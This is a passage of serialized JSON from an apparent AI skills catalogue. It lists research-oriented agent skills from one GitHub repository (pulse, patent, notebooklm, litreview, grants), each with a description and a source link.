skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":85,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]